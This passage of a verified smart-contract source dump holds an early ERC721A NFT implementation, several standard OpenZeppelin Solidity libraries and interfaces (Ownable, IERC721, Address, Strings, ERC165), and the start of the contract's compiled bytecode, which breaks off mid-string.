"ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102045760003560e01c8063715018a611610118578063b88d4fde116100a0578063e8792c1a1161006f578063e8792c1a14610736578063e985e9c514610761578063f2fde38b1461079e578063fc588c04146107c7578063ffe630b5146107f057610204565b8063b88d4fde1461067a578063c87b56dd146106a3578063d5abeb01146106e0578063d7224ba01461070b57610204565b80638da5cb5b116100e75780638da5cb5b146105b657806391b7f5ed146105e157806395d89b411461060a578063a0712d6814610635578063a22cb4651461065157610204565b8063715018a61461053457806371b9b6461461054b5780637d8966e414610576578063819b25ba1461058d57610204565b80632913daa01161019b5780634f6ccce71161016a5780634f6ccce71461042957806355f804b3146104665780636352211e1461048f5780636817c76c146104cc57806370a08231146104f757610204565b80632913daa0146103815780632f745c59146103ac5780633ccfd60b146103e957806342842e0e1461040057610204565b80630f7309e8116101d75780630f7309e8146102d757806310da2eb91461030257806318160ddd1461032d57806323b872dd1461035857610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190612f69565b610819565b60405161023d9190612fb1565b60405180910390f35b34801561025257600080fd5b5061025b610963565b6040516102689190613065565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906130bd565b6109f5565b6040516102a5919061312b565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190613172565b610a7a565b005b3480156102e357600080fd5b506102ec610b93565b6040516102f99190613065565b60405180910390f35b34801561030e57600080fd5b50610317610c21565b6040516103249190613065565b60405180910390f35b34801561033957600080fd5b50610342610caf565b60405161034f91906131c1565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a91906131dc565b610cc5565b005b34801561038d57600080fd5b50610396610cd5565b6040516103a391906131c1565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190613172565b610cf9565b6040516103e091906131c1565b60405180910390f35b3480156103f557600080fd5b506103fe610ef7565b005b34801561040c57600080fd5b50610427600480360381019061042291906131dc565b610fcf565b005b34801561043557600080fd5b50610450600480360381019061044b91906130bd565b610fef565b60405161045d91906131c1565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190613364565b611042565b005b34801561049b57600080fd5b506104b660048036038101906104b191906130bd565b6110d8565b6040516104c3919061312b565b60405180910390f35b3480156104d857600080fd5b506104e16110ee565b6040516104ee91906131c1565b60405180910390f35b34801561050357600080fd5b5061051e600480360381019061051991906133ad565b6110f4565b60405161052b91906131c1565b60405180910390f35b34801561054057600080fd5b506105496111dd565b005b34801561055757600080fd5b50610560611265565b60405161056d9190612fb1565b60405180910390f35b34801561058257600080fd5b5061058b611278565b005b34801561059957600080fd5b506105b460048036038101906105af91906130bd565b611320565b005b3480156105c257600080fd5b506105cb611400565b6040516105d8919061312b565b60405180910390f35b3480156105ed57600080fd5b50610608600480360381019061060391906130bd565b61142a565b005b34801561061657600080fd5b5061061f6114b0565b60405161062c9190613065565b60405180910390f35b61064f600480360381019061064a91906130bd565b611542565b005b34801561065d57600080fd5b5061067860048036038101906106739190613406565b611688565b005b34801561068657600080fd5b506106a1600480360381019061069c91906134e7565b611809565b005b3480156106af57600080fd5b506106ca60048036038101906106c591906130bd565b611865565b6040516106d79190613065565b60405180910390f35b3480156106ec57600080fd5b506106f561190c565b60405161070291906131c1565b60405180910390f35b34801561071757600080fd5b50610720611912565b60405161072d91906131c1565b60405180910390f35b34801561074257600080fd5b5061074b611918565b60405161075891906131c1565b60405180910390f35b34801561076d57600080fd5b506107886004803603810190610783919061356a565b61191e565b6040516107959190612fb1565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c091906133ad565b6119b2565b005b3480156107d357600080fd5b506107ee60048036038101906107e991906130bd565b611aaa565b005b3480156107fc57600080fd5b5061081760048036038101906108129190613364565b611b30565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108e457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061094c57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061095c575061095b82611bc6565b5b9050919050565b606060018054610972906135d9565b80601f016020809104026020016040519081016040528092919081815260200182805461099e906135d9565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b5050505050905090565b6000610a0082611c30565b610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a369061367d565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a85826110d8565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed9061370f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b15611c3d565b73ffffffffffffffffffffffffffffffffffffffff161480610b445750610b4381610b3e611c3d565b61191e565b5b610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906137a1565b60405180910390fd5b610b8e838383611c45565b505050565b600b8054610ba0906135d9565b80601f0160208091040260200160405190810160405280929190818152602001828054610bcc906135d9565b8015610c195780601f10610bee57610100808354040283529160200191610c19565b820191906000526020600020905b815481529060010190602001808311610bfc57829003601f168201915b505050505081565b600a8054610c2e906135d9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5a906135d9565b8015610ca75780601f10610c7c57610100808354040283529160200191610ca7565b820191906000526020600020905b815481529060010190602001808311610c8a57829003601f168201915b505050505081565b60006001600054610cc091906137f0565b905090565b610cd0838383611cf7565b505050565b7f000000000000000000000000000000000000000000000000000000000000003281565b6000610d04836110f4565b8210610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90613896565b60405180910390fd5b6000610d4f610caf565b905060008060005b83811015610eb5576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e4957806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea15786841415610e92578195505050505050610ef1565b8380610e9d906138b6565b9450505b508080610ead906138b6565b915050610d57565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890613971565b60405180910390fd5b92915050565b610eff611c3d565b73ffffffffffffffffffffffffffffffffffffffff16610f1d611400565b73ffffffffffffffffffffffffffffffffffffffff1614610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906139dd565b60405180910390fd5b60004790506000610f82611c3d565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610fca573d6000803e3d6000fd5b505050565b610fea83838360405180602001604052806000815250611809565b505050565b6000610ff9610caf565b821061103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613a6f565b60405180910390fd5b819050919050565b61104a611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611068611400565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b5906139dd565b60405180910390fd5b80600a90805190602001906110d4929190612e20565b5050565b60006110e3826122b0565b600001519050919050565b60095481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561